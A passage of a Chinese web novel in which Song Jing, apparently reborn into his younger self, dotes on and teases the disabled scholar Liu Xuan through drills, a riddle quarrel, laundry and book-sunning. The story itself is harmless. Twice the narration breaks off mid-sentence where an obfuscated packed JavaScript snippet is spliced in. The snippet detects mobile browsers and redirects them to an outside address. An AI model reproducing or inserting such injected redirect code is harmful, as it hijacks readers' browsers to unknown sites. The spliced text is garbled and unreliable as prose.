若说以前见宋旌被他气到发狂,看宋旌对他不爽又不能拿他怎样,只能气呼呼地放几句不痛不痒的狠话时,还让他有几分欢乐与志趣。 然而现在...... 他明明清楚,宋旌已经说不出让他欢喜的话,可他偏偏就是忍不住想知道宋旌心里在想什么? 想知道宋旌到底要说什么? 想知道宋旌又能做出哪些出乎他意料的事? 就像是魔怔了一样,柳悬真想看看宋旌的身体里到底住进了一个怎样的妖怪? ...... 思来想去,以至于他这几日总感觉自己被宋旌冒犯、羞辱,时常因宋旌那些过于异常的言行而产生莫名的心悸,就像是心里有一股无名的邪火,发泄不了、也咽不下去。 “轻红!走!” 柳悬紧握住差点挥出去的拳头,强忍着不发作,直捏得指节泛白,一张白皙的脸也因起伏的心绪而泛起一片红晕。 轻红从宋旌出现在她身前,抢走她的话开始,才注意到宋旌的存在。 最初,轻红还未认出宋旌。 恍惚间,轻红觉着,少将军的变化实在是过于明显了。 虽然眼前人还是那个人,脸也还是那张脸,连宋旌说话时,那讨打的语气都没有如何改变,但是她偏偏觉得眼前的宋旌不太一样,尤其是在她家公子面前,宋旌仿佛就是换了一个人一般。 “欸......是!” 柳悬唤她时,轻红还没吃过味儿来。 或许是以前那个桀骜不驯的少将军太过深入人心,以轻红那直率的性子,让她应对同样一根筋、横行霸道的宋旌,她尚且还有些经验。 如今,宋旌悄悄给自己升了级,还换了装备,用来对付她家主子的法子,是话说得柔情蜜意,脸笑得灿若繁星,整个人像是一把软刀子,伤人,但不会立马疼。 那......凭她的本事,确实会在很长一段时间里,无所适从。 柳悬已顾自向前行去,他不得不暗自叹息,他终究还是太天真了,他原以为只要他不再搭理宋旌,不给宋旌任何回应,不同宋旌言语,宋旌就没有自由发挥的空间。 但是......他还是太小看了宋旌那百折不屈的意志力,与锲而不舍的生命力。 一日下来,柳悬身心俱疲,现下他真的已经懒得再同宋旌周旋。 时至今日,柳悬也算是弄明白了一件很重要的事,那就是:宋旌身上无论发生过什么离奇的事,他都是那个恣意妄为、飞扬跋扈的宋旌,唯一不同的是,现在的他比以前更会伪装,也更加嚣张。 因此,若是柳悬以后还想用以前的法子去激怒他、挑衅他、引诱他,他都能通通忍下来,甚至步步紧逼、反客为主,让柳悬避无可避、逃无可逃。 等柳悬走远后,轻红也一路小跑,追上前去。 留在原地的宋旌,收回视线,自然地流露出一派老成的模样,负手在后,缓步至连松的身旁,肯定地拍了拍他的肩膀,觉得他同六一那一战的表现,甚是不错。 夜里,当院里的脚步声、吵闹声悉数散去后,柳悬才刚熄了灯,在柔软的床榻上安心睡下,他便听见床前的窗棂被敲出了咚咚两声。 “子夏。” 那熟悉而令人厌烦的声音如约而至。 “从今夜起,我定会好好护你。” 地坪窗上,人影微低下头,声音显得有些艰涩,令人心头一紧,竟莫名泛起酸来。 然而,柳悬还没能心酸多久,他又见那人影扬起头,一副容光焕发的模样: “你且安心歇息,明日,我再亲自送你去听学!” 宋旌刚振奋起精神,自以为自己说了句暖人心的话,可房内却骤然响起一阵沉闷的声响——那是柳悬在鲤鱼打挺,愤起翻身的动静。 宋旌只要一想到柳悬那暗地里气鼓鼓的模样,就低低地笑出声了。 此间心愿已了,志得意满的宋旌又慢悠悠地踱步回了房。 到底还是个没有白活四十六年的人,要论脸皮、论心智,论插科打诨、阳奉阴违的本事,宋旌自认为,他这个跟成年柳悬学了十四个年头的中年男人还不至于会输给一个未经人事的毛头小子。 12.猜谜 清晨,万籁寂静。 在月色还未完全褪去,淡墨色的天上还挂着一轮浅玉色月牙的时候,风斋的院子里面,有萧萧风声响起。 一道挺拔的身影似游龙般,在狭小的院里翻转腾飞,一杆银色的长枪若灵蛇般,从他的手中蜿蜒而出,又轻巧地回落至他的手中。 冰凉的露水浸湿了他身上那件珊瑚色的劲装,汗珠顺着他的下颌角线缓缓滑下,宋旌那一头乌黑的墨发被一顶金冠,高高地束在头顶,发束像旗穗一般,在夜空中随他的身体而舞动,肆意飘扬。 宋旌醒得很早,或许是因为之前有二十六年的时间没有踏踏实实的睡过一夜好觉,甚至在柳悬死后,他只能不停地饮酒助眠,所以他即使已经回到了二三十年前,他也没有办法一夜安眠。 说到底,不过是他心里还会觉得不太踏实,他总担心自己如果睡太沉或睡太久,等他再醒过来时,他还在那一叶孤寂无人的扁舟上。 风斋内,第二个醒来的人是飞雪。 据宋旌所知,飞雪从柳悬出生起就跟在柳悬的身边,为柳悬父母所养,其生父也是桃州的一名教头,曾为大宛贼人所害,因救一怀有身孕的妇人而亡,其生母更是在生育她时难产而死。 飞雪打小就少言寡语,平日里更是不喜人多热闹的地方。 往日,风斋内仅她一人喜好晨起习武练剑时,她倒也不觉得拘束。 可是......现在...... “马步要扎得再深些,昨日见你与六一那孩子比试,你个大老爷们,下盘怎还不如一个小孩子稳当?” 宋旌站在连松的身后,随手拍了拍连松的腿肚,小小年纪却颇有几分老成之见。 “错了错了,刀的重心居前,劈砍之际,手腕需适时后引,蓄力而发。” 连松的一举一动,一刀一式都免不了被宋旌提点、纠正,就连从未交谈过几句话的飞雪也不能幸免。 “飞雪姑娘,控剑之时,手宜前移寸余,剑尖方稳,威力方显。” ...... 就这样,在宋旌那严苛又自来熟的调教声中,两人的动作越来越流畅、姿势也越来越标准,仿佛是被打通了任督二脉,浑身上下都充满了力量。 时光飞逝,不知不觉间,东方的天际线已泛起了鱼肚白。 当清晨的第一缕曦阳才破开夜幕时,英才院内,兰馨殿的钟磬声已被敲响了三次。 昨夜,因宋旌扰人的缘由,柳悬在榻上翻来覆去许久,直至困意来袭,再也扛不住了,才沉沉睡去。 今日,柳悬从梦中苏醒的时辰相较于以往而言,还要再晚一些。 窗外,一只只小雀闹得欢腾,柔软的晨光透过窗户上的绢布,投进柳悬的屋内。 柳悬醒来时,院外正一阵闹腾。 男男女女的声音像是夏日花丛里的草蝉般,吱吱呀呀,吵得欢快。 柳悬揉了揉惺忪的眼睛,撩起身上的薄被,着一双屐屉,草草披了一件官绿色的外袍,坐上轮椅,行至屋前,一如往常般,准备先打开房门,唤来轻红。 院外的杏树下,早起的宋旌正坐在一群小哥与姑娘之间,似是在分享些什么奇闻趣事,直逗得众人“哈哈”大笑、阵阵叫好。 就连平日里不爱见人的六一,此时也远远地跟在宋旌身后,爬到高高的杏树上,探头探脑,仔细听宋旌讲故事。 直到宋旌一眼瞧见柳悬的房门被人从里向内打开了一条缝,一脸欣喜地朝柳悬大喊了一声“哥哥!”,随即起身,阔步向柳悬走去时,众人的脸上仍是一副意犹未尽的表情。 这厢,柳悬原有的一丝睡意,也在宋旌喊出那一声清脆的“哥哥”后,荡然无存。 紧接着,“嘭!”的一声重响,忽然想起某件重要的事,柳悬将刚打开的门缝赶在宋旌意欲以足相抵前,重新严丝合缝地关上。 “哥哥昨夜歇息得可好?”即使被门风震了满面,宋旌也没有撤步,反而侧耳倾身向前,虚靠在房门上,向里出声问询。 柳悬望着门上的虚影,用力抵住松动的门栓,混沌一片的脑海里像是点燃了一束绚烂的烟火,噼里啪啦,炸得他只觉得双耳发懵,心跳如鼓,久久不能平复。 还好宋旌没有强行破门而入,柳悬看了看身下的轮椅,他怎就忘了,风斋内现下还有一群不速之客...... “哥哥初醒,想必亟需盥漱,”宋旌见柳悬不回声,也不气馁,遂向旁挪动一步,正欲好好表现表现,“那我且先去打些水来,以便伺候哥哥洗潄。” “少将军——”宋旌还未离开,柳悬的房门已俶尔打开。 宋旌收回迈出去的步子,眉宇间笑意盈盈,猛回过头,脆生生答道:“在!” 继而,宋旌三步并作两步,快步跨过门槛,俯下身,像一只刚得了奖赏的小狗,摇着一条毛绒绒的大尾巴,用一双满含期待的眼睛,望向柳悬:“哥哥有何吩咐?” 柳悬想了一夜,终于决定不再去纠结宋旌突然转性的缘由。 他明白,就像所有阵法皆有阵眼,他要了解背后所隐藏的真相,其症结还在宋旌本人身上,倘若宋旌有意向他隐瞒实情,想必他饶是抓破脑袋,估计也得不到任何有用的线索。 于是,柳悬也打算换个策略。 既然宋旌想要同他演这一出兄友弟恭的戏码,那他柳悬又怎能不配合? “前几日,我闻院中园丁所言,东街的馎饦甚是美味,不知少将军可否为我买一份回来?” 柳悬还是不太适应被宋旌那热切的眼神一直瞧着,他不自然地掩唇,轻咳几声,拢了拢身上那件外袍,将中衣中裤遮得密不透风。 宋旌闻言,先是愣了片刻,不过一想到柳悬那颗七窍玲珑的心思,想必他很快就调整好了与自己相处的状态,正盘算着用别的策略对付他呢! 宋旌猜中了柳悬的想法,也不觉得有何不妥之处,便朗声应道:“好!” 见宋旌答应得爽快,转身就走,柳悬心下生疑,又不放心,多叮嘱一句:“少将军莫要嫌远,就轻易假手于他人,我先言明,若非少将军亲自买来的,柳悬一概不要。” 柳悬一番话说得坚决,仿佛宋旌要敢偷奸耍滑,他绝不会留一丝情面一般。 可在宋旌听来,却是另有一番滋味儿。 “知道啦!”宋旌了然一笑,从后院牵出他最常骑的那匹马。 在院门前,宋旌一跃而起,稳稳抓住马缰,一脚踏住马镫,身形微微向下一沉,便利落地坐在马背上,动作潇洒而流畅。 “哥哥赏脸,宋旌荣幸之至!”宋旌一身紫苑色的窄身窄袖长袍,单手牵缰御马,在院外踱步,遥遥回道。 说罢,轻轻一抖缰绳,宋旌身下骏马便扬尘而去。 自从宋旌搬来风斋以后,飞雪就变得无事可做,乐得清闲。 每日未时末,宋旌就会准时送柳悬去兰馨殿听学,戌时再带柳悬回院。 飞雪与轻红有所不同。 轻红因柳悬不喜宋旌,而时常看不惯宋旌的所作所为,总认为少将军不过是在将军的庇荫下混吃等死的纨绔,眼里看不见少将军的半点好。 在轻红心里,除了柳悬与六一,世上男子多为凡庸之辈,哪怕是名扬天下的宋旌也不过如此。 然而,飞雪虽一心为主,甘愿为柳悬赴汤蹈火、肝脑涂地,但在飞雪的心中,宋旌的武学造诣与将帅才能亦是值得她钦佩、敬重的地方。 因此,在宋旌提出要代替飞雪去送柳悬时,没有得到柳悬指示的她也不过是乖乖退至一侧罢了。 至于轻红最近为什么会这么安静? 或许是因为轻红因那夜输给丹良一事而心有不甘,日日与丹良作对,两人每天吵吵闹闹,小到厨房站位,大到财米油盐,始终不肯比对方先低头的两个人,一整天的精力几乎都耗费在跟对方较劲上面,自然也没多少闲工夫去管柳悬与宋旌之间的事。 宋旌来风斋这一遭,只带了丹良与连松两人,其余家丁、侍女一律留在宋府内,因为风斋不比宋府,虽说好歹有个院子,但是房屋极其有限,院内配置皆是按三人小居所备。 风斋原就是英才院在博文馆附近为教授们建造的临时居所,其占地面积自然不大。 恰巧,宋旌也是借了风斋小,只有一个小厨房的光,才能正大光明、日日与柳悬同吃同住。 一日,晌午时分,院里的人正围坐在一张圆桌前用膳。 起初,丹良与连松都不习惯同柳悬与宋旌一起进膳,毕竟他俩在两个自幼信奉主仆的奴仆眼里皆是尊卑有别的主子,但柳悬已在院里定了规矩,那就是用膳时,不分尊卑主仆,一律一视同仁,而现在的宋旌在过去的四十六年里,已经按照柳悬的规矩,活了整整二十四年,对此更是早已习惯。 于是,丹良与连松便客随主便,一起围坐下来。 桌上,宋旌观丹良与轻红的面色皆有异样,他一时忍不住好奇,压低声音,多嘴问了一句:“你又惹那丫头了?” “主子!我惹她?我躲着她走还来不及呢!我哪敢惹她这位姑奶奶?”丹良心中憋屈,被宋旌一问,反驳的话脱口而出,声音稍大了些,宋旌想拦都拦不住。 在丹良一通发完牢骚后,轻红的脸色果真更难看了。 从小就压不住性子的轻红将筷子往桌子上一搁,瞬间没了进膳的胃口。 “发生了何事?”见轻红与丹良一直僵持不下,以防场面失控,柳悬也不得不出声询问。 轻红有了自家公子撑腰,也一改方才的沉默,有了底气,像是一个受尽了委屈的稚子,急需长辈主持公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14125694|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道一样,指向丹良,幽怨道:“你说!” 丹良被轻红的指尖一点,身子情不自禁地往后一缩,心“咯噔”一下,虽是忐忑,但也不含糊,将遇见的事,细细说来:“今日,我俩同去西街赶集,采买食材,正好遇见合春楼在举行猜谜活动,一共有十道谜语,全部猜中,即可得一铜黛。” 丹良低下头,耳尖微红,有些难为情地继续说:“我见她不舍离去,约莫是想要那奖赏,便自告奋勇,说我能替她去赢回来。” “结果呢?”正夹着一块东坡肉的六一一听有故事,就来了兴致,一心只想凑热闹、看好戏的他迫不及待地追问下去。 “自然是......”丹良欲言又止,耳尖又红了几分。 “谜语很难?”连松见状,隐约猜出其中隐情,主动替丹良解围。 “胡说!”谁知连松话音未落,轻红一拍桌子,气得小脸娇红,愤愤道:“分明就是他傻,白白浪费了一两白银!” 轻红这一拍,吓得桌上另外四个用膳的小孩面面相觑,皆停下动作。 “既是帮你,你气他做甚?”柳悬虽平素护短,对轻红亦是关怀备至,但见她如此不分时机,过于娇纵,言语间也不免染上几分厉色。 被柳悬这般一问,轻红也觉出自己行为欠妥,连忙收敛,低声道:“还不是因为他太过憨厚,明明只需再对一题即可取胜,他却偏生被那无良店家哄骗了去。” “我......我奈何不了那店家,心中又郁闷难平,故而,故而才......”轻红的声音愈发细微,几不可闻。 柳悬见状,不由轻叹,终是不忍再重责轻红,只柔声问道:“是何谜面?” “我记得!” 丹良一脸兴奋,大喊一声,仿佛终于找到了救星,按捺不住心中急切,从桌后猛地站起身,迫不及待地说:“那谜面不过四个字,乃是‘何火无烟’,打一活物。” “照夜清?”丹良的话甫一出口,众人还没听明白,宋旌已经不假思索,将答案脱口而出。 “公子,你瞧!”在宋旌即刻说出正确答案后,轻红拽住柳悬的宽袖,差点跳起来,比丹良还要激动几分,“连少将军都答对了呢!” “......” 什么叫“连少将军都答对了”? 宋旌闻言,先是微微凝眉,面色像烧红的水壶,有几分温怒,后又怔愣一刹,面色像干涸后龟裂的地面,有一丝尴尬,遂又陷入深思,眼中尽显郁郁之色。 莫非以前,轻红处处瞧不上他,只因她一直觉得,他堂堂一个领万兵、剿悍匪的少将军竟比不过小小一个丹良? 一想到轻红与柳悬的关系密切,小丫头对他的成见约莫与柳悬有关,宋旌的脸就立马拉了下来。 柳悬甚少见到宋旌的脸上显露出这般精彩纷呈的神色,他暗中忍不住多瞥了宋旌几眼,忍笑,问道:“丹良所言为何?” 轻红不满,撅起小嘴,许是想到错失的奖赏,亦或是白白花去的月钱,甚是悲愤地呐喊道:“他呀,说是——狐!” 临了,轻红还不忘加上一句:“少将军都能猜中,他却错了,那他不是傻?是什么!” “???” 轻红这个丫头定义一个人是不是“傻”的标准再一次让宋旌感到汗颜,他没料到,轻红在贬损丹良时,居然还没忘记捎上他。 为了维护自己的形象,宋旌原还想再辩解几句。 可是他无意中撞上柳悬的视线,见柳悬唇角微扬、眉眼含笑!? 于是……宋旌默默低下头,只是无奈地晃了晃脑袋,轻笑一声,一直忍到结束,也还是什么都没说。 这一日,丹良屡屡受挫,心中正憋屈得紧,又受轻红诋毁,语气便加重了一些,气势汹汹地反驳道:“我又没瞎说!我也是有依据的!” “主子曾说过,《夷坚志》中有个名为‘狐称鬼公’的故事,里面说道,群狐缭绕屋舍寻索,未及移时,忽有一狐以火焚其屋而遁去也。”丹良努力回想起宋旌讲过的奇谈,一板一眼,一字不落地复述出来。 “狐火亦有火无烟,为何‘狐’不能算作谜底?”丹良越说越激动,他掷地有声地发问:“那店家先前从未言明,志怪杂谈皆作不得数,可事后又反悔不认账,这又怎能怪我蠢笨?!” 说到自己的伤心处,丹良痛心疾首,低垂下头,眼眶微红,声音哽咽道:“我好心好意,费尽心力,到头来却落得个里外不是人,我找谁说理去?” 丹良怒而坐下,背过身去,一副绝不妥协的架势。 轻红见丹良如此决绝,誓要与她分个是非曲直,更是气得小脸通红,咬紧牙关,哼了一声道:“哼,你就是个呆子!蠢钝如驴!怎就这般不通情理!” 说完,轻红也赌气地别过头去,不再言语。 13.脏了 一番争执后,午膳草草收场。 宋旌跟在柳悬身后,再一次溜进书房。 若是几日前,柳悬或许还会尝试将粘人的宋旌给甩出去,可是那宋旌滑得一条老泥鳅似得,压根不给柳悬一点机会,总是想方设法,找空隙钻进来,哪怕柳悬把书房的门窗都用木板封死,他宋旌还是能找到各种刁钻的法子,再翻进屋内。 于是,柳悬慢慢就放弃了,只要宋旌乖乖待在一旁,不干扰他做事,他一般也懒得去搭理他。 当然,若是宋旌不肯安静待着,柳悬也还有别的法子治他。 例如,前两日,宋旌赖在柳悬的书案前捣乱,柳悬嫌他碍事时...... “少将军。”柳悬双手伏于案前,右手五指捏紧笔杆,左手下的纸张被暗自使劲的手指轻搓出几道褶皱,眉梢微挑,温怒道。 此时,宋旌正琢磨着怎样拉近他与柳悬的关系,一手托腮,一手转着一只从笔架上随便取下来的狼毫,思绪刚好停留在柳悬总称呼他为“少将军”这件事上,就又听闻柳悬这般唤他。 “哥哥唤我......” 原本,宋旌是想让柳悬用别的称呼来代替“少将军”,以免他俩显得太过生分。 可当宋旌即将说出“高扬”两个字时,宋旌却突然想起他俩现下尚未及冠,按照他俩现在的年纪,柳悬与他皆未取字,若是宋旌贸然让柳悬唤他以后的字,那必然会引起柳悬的怀疑,所以……“高扬”不行! 那不用“高扬”这个字,似乎就只能让柳悬唤自己为......“鹑儿”? 宋旌只要一想到柳悬唤他为“鹑儿”时的神态,便忍不住直摇头,抖落了一身的鸡皮疙瘩,觉得“不行!不行!绝对不行!”。 无论如何,宋旌也绝不能让柳悬唤他一声乳名。 因为这乳名,简直就是宋旌一生中的奇耻大辱!也不知道他爹、他娘当初为何非要给他取个这般不霸气、不英武的乳名,莫非就真图个贱名好养活? 兀自思量片刻,在否定了所有可供他选择的选项后,宋旌停下转笔的动作,像只泄了气的皮球,双手托腮,望向柳悬,只得妥协道:“哥哥唤我宋旌就好。” “宋旌?”柳悬不明白,为何宋旌要特意让他换个称呼...... 毕竟,从相识以来,柳悬称宋旌为少将军就不曾变过,也未曾想过改变。 只是......柳悬察觉,他如今不能跟宋旌总是反着来。 倘若柳悬不肯顺宋旌的意,宋旌虽不像以前一样,老想些幼稚的法子整他,亦或是冲上来揍他,但宋旌会一直笑意盈盈,用一副楚楚可怜的模样,对他死缠烂打,让他是打也打不得,骂也骂不得,像一只烦人的苍耳子,越缠越紧又挣脱不得。 “少......”出于习惯,柳悬还想称宋旌为“少将军”,然而他抬眼一瞧,宋旌正用一双幽怨的眸子盯住他,直盯得他改口称,“宋......宋公子” 柳悬默叹一声,虽将“将军”二字止在了唇齿之间,但出于羞耻之心,依旧无法轻易唤出宋旌的名字。 宋旌瞬间笑弯了眉眼,他倒不在意柳悬是否真唤他为“宋旌”。 他反而觉着“公子”这个极为陌生又十足新奇的称呼,只要是从柳悬的嘴里亲口说出来,便会让他莫名发觉自己的心跳参差不齐。 “哥哥有何指示?”宋旌一脸满足,柔声问道。 柳悬从宋旌的耳朵上,抽走那只被他别在耳后的笔,摇动身下木轮,向书房的里间行去。 “宋公子日日这般清闲?”柳悬的声音从卧房内传出。 宋旌也随之起身,追上柳悬,落后他几步距离,明知故问道:“哥哥何出此言?” 卧房内,柳悬将搭在衣桁上的衣物一股脑取下,抱在怀里,没有回话。 宋旌又自顾自地说:“我不过是谨遵父命罢了。” “哥哥眼下仍不愿回府,我自当时时随侍在侧,方能尽到兄弟之谊,哥哥以为如何?”宋旌往前走了几步。 忽然,抱着满怀衣服的柳悬将轮椅调转了方向,面朝他,“既是如此,就有劳宋公子替柳悬将衣物浣洗了吧。” 柳悬近来很爱差遣与捉弄宋旌。 只因柳悬发现,宋旌只有在被他指去做旁的事情时,在完成任务之前,宋旌才会乖乖听话,不来烦他。 因此,柳悬总是会故意帮宋旌找点不痛不痒的麻烦。比如,让宋旌亲自替他去准备药浴、让宋旌为他煎药、让宋旌剥刚从湖里摘下来的莲蓬,亦或是让宋旌去很远的地方帮他跑腿、传信,诸如此类。 柳悬这几日,可以说是,凭借各式各样的理由,让宋旌忙得脚不沾地。 此外,柳悬也没忘了给自己乏味的生活增添一丝乐趣。 就像柳悬有一日让无事可做的宋旌帮忙誊抄书册时,宋旌还没抄几页就趴在矮几上呼呼大睡,而柳悬则蹭着宋旌睡着之际,在宋旌的脸上画出了虎纹与胡须,又让顶着一张花脸的宋旌陪自己去兰馨殿听学。 那一日,唯一让柳悬事后仍觉可惜的一点是,除丹良与连松以外,整个英才院内竟无一人敢当着宋旌的面,戳破宋旌那时的窘态,且他们就连笑都没人敢当着宋旌的面笑一下,以至于宋旌在回到风斋以前,一直未能觉察出脸上的异状。 现如今,那十指不沾阳春水、天灵盖上长眼睛的少将军却要为他柳悬鞍前马后,还要忍受他的百般刁难与戏弄,柳悬倒是要好好瞧瞧,宋旌这个好弟弟的好脾气究竟能维持到几时? 柳悬说罢,急停在宋旌的身前,双臂用力一挥,将满抱的各式衣物如同纷飞的纸屑般通通抛向宋旌。 那衣物在空中散开,飞向四处。 宋旌反应迅捷,犹如一只猎豹,瞬间接住大部分飘散的直裰青衫。然而,饶是宋旌的身手再好,仍免不了有几件漏网之鱼遗落在柳悬的周围。 宋旌无奈又宠溺地望向柳悬,嘴角勾起一抹温柔的笑意。 “这又有何难……”宋旌不甚在意,用清亮的嗓音,回应了柳悬方才的指示,他缓缓弯下腰,耐心地将地上的衣衫一件一件,拾进右侧臂弯里,每捡起一件衣衫后,宋旌都要轻轻抖落上面的尘埃。 正当宋旌拾起一半衣物时,他的眼神突然变得深邃起来,眼底浮现出一丝兴味。 柳悬见宋旌手中正握着一件胡乱堆叠在一起、难以分辨形状的白色衣物,心下猛地一惊,已然冒出同宋旌一样的猜想。 “这......”宋旌直起身,用指尖轻捻手中衣物的软料,余光轻扫过柳悬的脸,嘴角忍不住上扬,忍俊不禁道:“莫非是哥哥的……” “这,这件不必……”柳悬见状,不等宋旌把话说完,脸色微微一变,双颊泛起一抹红晕,仍强装镇定,急忙上前去取。 然而,宋旌却故意放慢了动作,似乎在等待对方的回应。 就在柳悬伸手欲夺之际,宋旌的手指突然灵活一动,如同变戏法一般,将那条亵裤悄悄藏进右臂下的众多衣物中。 柳悬始料未及,只得一把抓过宋旌手中的衣物堆。 所幸宋旌并未刻意抱紧,柳悬这才得以轻松夺回。 只是一通翻找后,柳悬却并未从中发现任何异常。 柳悬心下疑惑,以为是自己看花了眼或者想得太多,刚欲松一口气,却见宋旌的嘴角显露出一抹更为狡黠的笑意。 宋旌负手在后、缓步向前,像起了逗弄猎物心思的恶豹,将仍抱住一堆衣服而不敢松懈的柳悬步步紧逼,逼退至室内的浮雕顶箱前。 宋旌的双手轻轻地搭在轮椅两侧的扶手上,手指看似不经意间轻触过柳悬那滚烫的手背,瞧见柳悬那张羞赧的脸在自己的眼前变得更加红润,宋旌变本加厉,极为恶劣地将柳悬禁锢在自己身前。 宋旌俯低身子,附在柳悬耳边,嘴唇贴近柳悬的耳畔,轻声细语地问:“哥哥这般心急做甚?” 说着,趁柳悬分神之际,宋旌的左手再次悄悄探入柳悬怀里那堆衣物之中,准确地找到了那条亵裤,五指灵巧一翻,在被柳悬愈发抱紧的衣物间穿梭,最终紧紧抓住了那条亵裤的一角。 在柳悬惊愕的目光中,宋旌猛地向外一拽,从衣物堆里,将那条亵裤成功抽离出来。 宋旌得意地笑起来,用食指将亵裤高高提起,悬在柳悬的眼前,迎上柳悬那不可思议的眼神,用低沉而沙哑的声音,意味深长道:“既是脏了,便要洗得干净些才好,哥哥说,是也不是?” “我说不......(必就不必)”柳悬用来拒绝宋旌的话还未说完。 宋旌身形敏捷,向后一跃,大撤出几步远,与再次伸手欲抢的柳悬拉开距离。 “宋旌!” 柳悬发怒,喝斥一声,急忙去追,却不出意外地扑了个空。 等柳悬再回身时,他只见到一脸兴奋的宋旌,欢快得犹如一只小雀般,早已带着那条亵裤与满面笑意,蹦出房门,只留下一句清脆的“浣衣去喽~”与满院里回荡的爽朗笑声,从房门外遥遥传来。 柳悬又羞又恼,被独留在忽然沉寂下来的书房内,颇有一种自作自受、自讨苦吃的挫败感。 于是,那一日,柳悬虽然得到了片刻的宁静,也惩罚宋旌替他加倍浣衣,害宋旌一直到晚膳前才将将洗完,但是在夜深人静的时候,当柳悬躺在床上,重新回顾这一日的遭遇时,他还是气得翻了个身,憋了半天也只憋出了两个字:“混蛋!” 再说这一日,宋旌在柳悬的屋内,倒是安静了许多,不像前几日那般闹腾,或许是因为宋旌也懂得“过犹不及、事缓则圆”的道理,所以宋旌也自觉地收敛起许多。 自从搬来与柳悬同住后,宋旌就请宋言章向英才院申请,将他调换至申时至酉时间听学,以便他能时时照顾柳悬。 若是以前,宋言章必定会认为宋旌调换听学时辰,是耍小聪明,想少听一个时辰。 不过现在,宋言章对于宋旌提出这个要求的理由,是欣然答应、深感欣慰,毕竟他也从未奢望他这个儿子真能从英才院里学到些什么有用的东西,更何况,他也不是很瞧得上英才院里那帮子腐朽儒生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14149516|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是以,宋旌现下有了许多能在柳悬身边待着的时间。 “宋公子若无事,便替柳悬将书架上与书箱里的书,都拿出去晒一晒吧。”柳悬埋首伏案、笔耕不辍。 昨日,那王学博又遣人往风斋送了一堆书册,吩咐柳悬务必在小考前修完。 眼下,距小考之期不过短短两旬,而那王学博所送之书册竟堆积得有半人之高。 纵然柳悬学识渊博,做事的效率又是极高的,可面对这般繁重的任务,时间上也委实显得有些捉襟见肘,紧迫不已。 宋旌不敢轻易烦扰柳悬,其一,是怕柳悬心急,坏了身体;其二,是怕耽搁柳悬修书的进度,害柳悬不能正常休息。 “哦,好。”宋旌一听柳悬的语气,便明白柳悬是真有求于他。 不敢含糊,宋旌二话不说,立马挽起袖子,动作十分迅速、麻利,俯身就开始着手搬运屋内手册。 当下,屋外阳光如织,金辉洒满每一个角落,温暖而明媚,正适合晾晒屋里那些藏在阴暗角落里的物什,驱散驱散让人不喜的霉气。 宋旌在太阳底下,将一个个沉重的木箱子打开,又在地上铺了一层粗布,将一本本崭新的书册铺在布上,又用一根根细长的木条将书页撑开,动作异常连贯、熟练。 “《黄石公三略》、《灵宪》。” “《太平经》、《水经注》。” “《考工记》、《梦溪笔谈》。” “《抱朴子》、《太平寰宇记》。” “《齐民要术》、《六韬》。” “《周易》、《尉缭子》。” “《法显传》、《博物志》。” “《盐铁贵粟论》、《八阵总述》......” 战略、阵法、医术、蛊毒、卜筮、史册、地舆、法典、志怪奇谈、诗词选集与各家各教思想之绝学…… 宋旌默念出每一卷典籍上的名讳,自远古流传至今,从庙堂之高至江湖之远,从国学经典到禁书秘笈,其数量之浩瀚、种类之繁复,着实令人震撼。 为何柳悬的藏书竟如此包罗万象、一应俱全? 为何一介普通儒生,却要研习那兵家的诡谲绝学? 为何文臣之后,竟要精通那商贾的算计之道? 宋旌心中疑窦丛生,仿佛有万千思绪在交织缠绕,又如平静的湖面下,有某种沉睡的巨兽正蠢蠢欲动,即将破水而出。 “主子!” “书要倒了!” 随着“哐当”一声,在急急忙忙赶来的丹良惊呼出声后,宋旌身侧的书摞如一栋坍塌的大厦般,轰然倒地。 宋旌的思绪“啪”的一声,也猛然断了。 “柳公子怎能使唤主子又做这种事!” 丹良一脸怨气,一边帮宋旌将倒地的书册码成一摞,一边忍不住替宋旌忿忿不平地抱怨起来。 这些日子,柳悬的所作所为,丹良都瞧在眼里,急在心里。 他时常恨不得自家主子像以前一样一怒之下,怼回去,或者打回去,好叫那柳悬也一起尝尝身心难受的滋味儿,可是宋旌却死活不乐意。 再说,丹良从小到大,何时见过自家主子被人使唤成这样?做这些又累又脏又辛苦的洒扫、粗使活计? “无事,这算不得什么。”宋旌一直不甚在意柳悬是不是故意为难他、使唤他,毕竟他最重要的任务,就是想让柳悬过得舒心。 宋旌递给丹良一方擦汗的方巾,替他拍去衣服上的灰,拾起最近的一本书,从腰间别着的木棍里取出一根,夹在书页里。 “去见过娘亲了?”宋旌问。 以往,宋旌的娘亲,韩书月,每日都会来风斋看看柳悬,陪柳悬说说话,或是替柳悬诊诊脉。 不过,自打宋旌搬进风斋后,他娘来的次数就变少了,从最初日日来变成现在两三日不来,偶尔想送点东西过来,也需要使唤丹良帮忙跑腿,还美其名曰:“让你们俩兄弟好好处处感情,只要莫再闹得鸡飞狗跳、打起来便好。” “是,夫人问过话,又给你......”丹良说到柳悬的名字时,有些不情愿,“与柳公子捎了些驱寒避暑的物件。” “好,你且去忙其他事吧。”宋旌见韩书月并无其他吩咐,便想打发丹良去别处休憩。 丹良忧心忡忡、满脸不舍地瞧着自家那身娇肉贵的主子,眼中满是疼惜。 “别担心,我能搞定。”宋旌又放下手中的书册,一把将丹良的脑袋搂过来,夹在胳膊里胡乱揉搓了一番,笑着说道:“你瞧瞧,才不过半个时辰,就晒好一半了。” 